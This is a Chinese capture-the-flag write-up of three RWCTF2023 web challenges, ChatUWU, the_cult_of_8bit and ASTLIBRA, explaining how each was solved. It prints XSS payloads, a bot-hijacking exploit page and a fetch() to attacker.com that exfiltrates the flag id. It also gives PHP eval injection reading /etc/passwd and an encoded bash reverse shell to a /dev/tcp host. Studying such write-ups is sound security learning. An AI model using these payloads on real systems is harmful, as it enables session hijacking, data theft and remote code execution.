[RWCTF2023]ChatUWU

看到 discord 上别人的聊天,他们各有各的思路:

  1. in my case I just set a breakpoint when the user input entered socket.io and just followed it until I saw that nice parse function
  2. I dont think that fuzzing is needed for such a small codebase, and as @[Sauercloud] WhoNeedsSleep already said we had an intuition that tricking the bot into connecting to our server would be neccessary. so this line where the url is just passed to socket.io was a good starting point to look for a potential flaw and it doesnt matter in this case that its client sided because, we want to attack the client

无需绕过 Dompurify,而是通过 socket 的 io()

1
2
3
4
let socket = io(`/${location.search}`),
messages = document.getElementById("messages"),
form = document.getElementById("form"),
input = document.getElementById("input");

当我们输入的 location.search 为 ?room=DOMPurify&nickname=guest2133@vps:port,通过 io('?room=DOMPurify&nickname=guest2133@vps:port') 会把 socket 连接地址替换成我们自己的服务器

此时,我们只需要搭建一个恶意 socket 服务器发送返回不经过 DOMPurify XSS 即可,但是需要在恶意的 socket 上面修改 cors 规则,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
......
const io = require('socket.io')(http, {
cors: {
origin: "*",
methods: ["GET", "POST"],
"preflightContinue": false
}
});
......
const corsOptions = {
origin: false,
optionsSuccessStatus: 200
}
......

但是这题使用 XSSStrike 扫描工具也可以扫出来(

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(l1n㉿Kali)-[/tools/XSStrike]
└─$ python3 xsstrike.py -u http://47.254.28.30:58000

XSStrike v3.1.5

[~] Checking for DOM vulnerabilities
[+] Potentially vulnerable objects found
------------------------------------------------------------
3 location.href = `?nickname=guest${String(Math.random()).substr(-4)}&room=textContent`;
6 let query = new URLSearchParams(location.search),
18 let socket = io(`/${location.search}`),
------------------------------------------------------------
[-] No parameters to test.

[RWCTF2023]the_cult_of_8bit

todo xss

题目中有一个设置 todo 的功能,对传入的参数进行如下过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// api.js
let isURL = false;
try {
new URL(text); // errors if not valid URL
isURL = !text.toLowerCase().trim().startsWith("javascript:"); // no
} catch {}
......
<ul>
<%_ user.todos.forEach(todo => { _%>
<%_ if (todo.isURL) { _%>
<li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
<%_ } else { _%>
<li class="has-text-left"><%= todo.text %></li>
<%_ } _%>
<%_ }); _%>
</ul>

organizers 战队 wp

Because the value isn’t wrapped in quotes, it is possible to inject HTML attributes to achieve XSS.

https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=alert(1)//

访问界面即可弹窗

1
2
3
4
5
6
7
8
<a
target="_blank"
href="https://org.anize.rs/"
style="animation-name:spinAround"
onanimationstart="alert(1)//"
>https://org.anize.rs/ style=animation-name:spinAround
onanimationstart=alert(1)//</a
>

另一个 wp

绕过 isURL 检测

But I was able to bypass it with %19javascript:alert(). It still is a valid URL, the trim() removes only whitespaces, and the browsers usually ignore \x01-\x20 bytes before javascript:.

需要 onclick 才可弹窗

然而,todo 处的 xss 攻击,只对创建它的用户可见,对 bot 是不可见的

callbacks

在 post.ejs 中,当我们访问 url/post?id=111 时候,会发送一个请求 url/api/post/id?callback=load_post

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
window.onload = function () {
const id = new URLSearchParams(window.location.search).get("id");
if (!id) {
return;
}

const request = new XMLHttpRequest();
try {
request.open(
"GET",
POST_SERVER + `/api/post/` + encodeURIComponent(id),
false
);
request.send(null);
} catch (err) {
// POST_SERVER is on another origin, so let's use JSONP
let script = document.createElement("script");
script.src = `${POST_SERVER}/api/post/${id}?callback=load_post`;
document.head.appendChild(script);
return;
}

load_post(JSON.parse(request.responseText));
};

访问 http://host:12345/api/post/111?callback=alert 返回的数据如

1
2
/**/ typeof alert === "function" &&
alert({ success: false, error: "No post found with that id" });

为什么在 api.js 中没有接收 callback 参数,而这里却出现了呢,其实这里是 express 框架 res.jsonp() 的特性: http://expressjs.com/en/api.html#res.jsonp

我们通过注入 id 参数,在 try 中触发报错,到达 catch 中使用 jsonp,加入自定义的 callback,之后能调用一个无法控制参数的 javascript 方法

1
2
http://ip:12345/post/?id=x%3Fcallback=alert%23%00
http://ip:12345/post/?id=x%3Fcallback=alert%26x=%00

让 admin 打开 flag-id,然后 logout,最后登录我们设置了 todoxss 的账号,而这些事情,都可以通过一个 js 方法来实现

只不过,我们能让 bot 填入的账号密码,只能是 [object Object]/[object Object]

So now we want to keep an old page open to preserve the flag id, logout the admin bot, make it go to the login page, fill in the username and password and click on the login button.

Logging out is easy because there is a logout button on the post page, so we can access it by traversing the DOM document.childNodes[x].childNodes[y].click().

For the other actions, we need to reference the login window from the post page. The only possible reference is window.opener, so from the exploit page will need to redirect to the login page after opening the child windows that will perform the actions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<script>
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

async function exploit() {
const challURL = "http://kali:12345";

// load original page that contains the flag ID
// we specify a name so we can later get a reference to it by calling window.open("", "flag")
window.open(challURL + "/", "flag");
await sleep(100);

// logout
window.open(
challURL +
"/post/?id=x%3Fcallback=document.childNodes[0].childNodes[2].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[1].click%26x=%00"
);
await sleep(1000);

// set username to [object Object]
window.open(
challURL +
"/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[1].childNodes[3].childNodes[1].setRangeText%26x=%00"
);
// set password to [object Object]
window.open(
challURL +
"/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[3].childNodes[3].childNodes[1].setRangeText%26x=%00"
);

// click login
window.open(
challURL +
"/post/?id=x%3Fcallback=window.opener.document.childNodes[0].childNodes[2].childNodes[3].childNodes[1].childNodes[1].childNodes[1].childNodes[3].childNodes[7].childNodes[1].childNodes[1].click%26x=%00"
);

// redirect to login page so it can be accessed with window.opener
location.href = challURL + "/login";
}

exploit();
</script>

我们让 bot 先用自己的 cookie 打开含有 flagid 的界面并指定一个名称,以便我们稍后可以获取 window.open(url,"flag")

稍后使用 window.open("","flag").document 获取到含有 flagid 的界面

1
2
3
4
fetch(
"https://attacker.com/" +
window.open("", "flag").document.querySelector(".content a").innerText
);
1
text=https://org.anize.rs/%0astyle=animation-name:spinAround%0aonanimationstart=eval(String.fromCharCode(118,97,114,32,105,100,32,61,32,34,34,59,10,102,111,114,40,105,61,48,59,105,60,57,59,105,43,43,41,123,10,32,32,32,32,116,114,121,123,10,32,32,32,32,32,32,32,32,105,100,32,43,61,32,98,116,111,97,40,119,105,110,100,111,119,46,111,112,101,110,40,34,34,44,34,102,108,97,103,34,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,34,97,34,41,91,105,93,46,104,114,101,102,41,59,10,32,32,32,32,125,99,97,116,99,104,123,10,32,32,32,32,32,32,32,32,99,111,110,116,105,110,117,101,59,10,32,32,32,32,125,10,125,10,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,96,60,105,109,103,32,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,52,51,46,49,50,56,58,49,50,51,52,47,63,102,108,97,103,105,100,61,36,123,105,100,125,34,32,47,62,96,41,59))//

rwctf{val3ntina_e5c4ped_th3_cu1t_with_l33t_op3ner}


[RWCTF2023]ASTLIBRA

构造 base64 编码数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class test123456{
public function getURL(){
return "aHR0cDtMeW87JGJkID0gYmFzZTY0X2RlY29kZSgkdGhpcy0+Z2V0VVJMKCkpOyAkYmQgPSAkYmRbNV0uJGJkWzZdLiRiZFs3XS4kYmQ7ZXZhbChiYXNlNjRfZGVjb2RlKCRiZCkpOy8vXFxcIik7fSBwdWJsaWMgZnVuY3Rpb24gdGVzdDEyMzQ1NigpeyBldmFsKGJhc2U2NF9kZWNvZGUodGhpcy0+Z2V0VVJMKCkpKTsgdmFyIGNoID0gY3VybF9pbml0KCk7Ly9LaW9xTDJsdVkyeDFaR1VnSnk5bGRHTXZhRzl6ZEhNbk95OHY=";
}
public function test123456(){
eval(base64_decode($this->getURL()));
// eval("http;Lyo;$bd = base64_decode($this->getURL()); $bd = $bd[5].$bd[6].$bd[7].$bd;eval(base64_decode($bd));//\\\");} public function test123456(){ eval(base64_decode(this->getURL())); var ch = curl_init();//KioqL2luY2x1ZGUgJy9ldGMvaG9zdHMnOy8v");
// eval(base64_decode('Lyohttp;Lyo;$bd = base64_decode($this->getURL()); $bd = $bd[5].$bd[6].$bd[7].$bd;eval(base64_decode($bd));//\\\");} public function test123456(){ eval(base64_decode(this->getURL())); var ch = curl_init();//KioqL2luY2x1ZGUgJy9ldGMvaG9zdHMnOy8v'));
$ch = curl_init();//KioqL2luY2x1ZGUgJy9ldGMvaG9zdHMnOy8v");
curl_setopt(ch, CURLOPT_HEADER, 0);
curl_exec(ch);
curl_close(ch);
return true;
}
}
$o = new test123456();

首先传入 url 参数,去题目中生成一段代码,传入的时候对 url 参数进行了一次检测,在执行代码中的 test 方法前又做了一次检测

传入的时候对 url 只检测了前四个字符,我们还是可以传入恶意数据取拼接的,如: http;xxxxx

1
2
3
4
5
6
7
8
9
10
11
$url = addslashes($_POST['URL']);
if($url[0]!="h" || $url[1]!="t" || $url[2]!="t" || $url[3]!="p"){
echo json_encode(array("status" => "error", "message" => "Invalid URL"));
exit();
}
$class = $username;
$namespace = ucfirst($class.generateRandomString(5));
$zep_file = preg_replace('/(.*)\{namespace\}(.*)/is', '${1}'.$namespace.'${2}', $tmpl);
$zep_file = preg_replace('/(.*)\{class\}(.*)/is', '${1}'.$class.'${2}', $zep_file);
$zep_file = preg_replace('/(.*)\{base64url\}(.*)/is', '${1}'.base64_encode($url).'${2}', $zep_file);
$zep_file = preg_replace('/(.*)\{url\}(.*)/is', '${1}'.$url.'${2}', $zep_file);

在执行代码中的 test 方法前,进行了这样的检测

  • 检测类中是否存在我们插入了恶意的魔术方法
  • 实例化一个类后,再对 url 参数进行了严格的检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if (class_exists('\namespace\classname')) {
$magic_methods = ['__construct', '__destruct', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__sleep', '__wakeup', '__toString', '__invoke', '__set_state', '__clone', '__debugInfo','__serialize','__unserialize'];
foreach (get_class_methods('\L1nl1nl1noxsli\l1nl1nl1n') as $method) {
if (in_array($method, $magic_methods)) {
die('Magic method ' . $method . ' is not allowed');
}
}
$c = new \namespace\classname;
$url = base64_decode($c->getURL());
if (preg_match('/[^a-zA-Z0-9_\/\.\:]/', $url)) {
die('Invalid characters in URL');
}
echo $c->test();

} else {
echo 'Class \namespace\classname not found';
}

漏洞点在于,如果我们插入了恶意函数是类的构造函数,那么在实例化类的时候可以直接调用触发 RCE,不用管后面的 url 参数检测

插入恶意代码

将恶意代码插入到这里的 url 参数中,需要绕过双引号的包含

1
2
3
4
$url = addslashes($_POST['URL']);
preg_replace('/(.*)\{url\}(.*)/is', '${1}'.$url.'${2}', $zep_file);
......
curl_setopt(ch, CURLOPT_URL, "{url}");

简单测试一下,就会发现有问题,\" 即可以绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$url = addslashes('\"');
$filecontent = <<<ZEPF
<?php
curl_setopt(ch,CURLOPT_URL,"{url}");
ZEPF;
echo $url."\n";
$filecontent = preg_replace('/(.*)\{url\}(.*)/is', '${1}'.$url.'${2}', $filecontent);
echo $filecontent;
/*
\\\"
<?php
curl_setopt(ch,CURLOPT_URL,"\\"");

构造 base64

还是受到 addslashes 的影响,我们在插入的代码段中无法正常使用单双引号括起来表示字符串

于是采取从 getURL 方法那里获取我们所想要的字符串,这样就不需要写单双引号了

插入这样的 url url=httpLyo;$p=base64_decode($this->getURL());$p=$p[4].$p[5].$p[6].$p;eval(base64_decode($p));//\");}public%20function%20test123456(){var%20ch%20=%20curl_init();eval(base64_decode($this->getURL()));//AAAKi9pbmNsdWRlICIvZXRjL3Bhc3N3ZCI7Ly8=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 生成的php代码是这样的,当我们 new test123456(); 可以触发 文件包含
namespace Test123456jglxh;

class test123456{
public function getURL(){
return "aHR0cEx5bzskcD1iYXNlNjRfZGVjb2RlKCR0aGlzLT5nZXRVUkwoKSk7JHA9JHBbNF0uJHBbNV0uJHBbNl0uJHA7ZXZhbChiYXNlNjRfZGVjb2RlKCRwKSk7Ly9cXFwiKTt9cHVibGljIGZ1bmN0aW9uIHRlc3QxMjM0NTYoKXt2YXIgY2ggPSBjdXJsX2luaXQoKTtldmFsKGJhc2U2NF9kZWNvZGUoJHRoaXMtPmdldFVSTCgpKSk7Ly9BQUFLaTlwYm1Oc2RXUmxJQ0l2WlhSakwzQmhjM04zWkNJN0x5OD0=";
}
public function test(){
var ch = curl_init();
curl_setopt(ch, CURLOPT_URL, "httpLyo;$p=base64_decode($this->getURL());$p=$p[4].$p[5].$p[6].$p;eval(base64_decode($p));//\\");}public function test123456(){var ch = curl_init();eval(base64_decode($this->getURL()));//AAAKi9pbmNsdWRlICIvZXRjL3Bhc3N3ZCI7Ly8=");
curl_setopt(ch, CURLOPT_HEADER, 0);
curl_exec(ch);
curl_close(ch);
return true;
}
}

最后一步 eval,base64_decode 后的数据是 /*xxxxxxxxx*/include "/etc/passwd"; 这样的格式

php 代码获取数据库中的 flag

自己搭的环境复现不了,不知道为什么

非预期: zephir nday?

1
2
3
4
5
6
7
8
http://aaa\");}}%{
#define getThis getThis2
int getThis2(){
char cmd[] = {98,97,115,104,32,45,99,32,34,98,97,115,104,32,45,105,32,62,38,32,47,100,101,118,47,116,99,112,47,118,112,115,47,112,111,114,116,32,48,62,0};
system(cmd);
}
}%
function dd(){while(1){var ch;//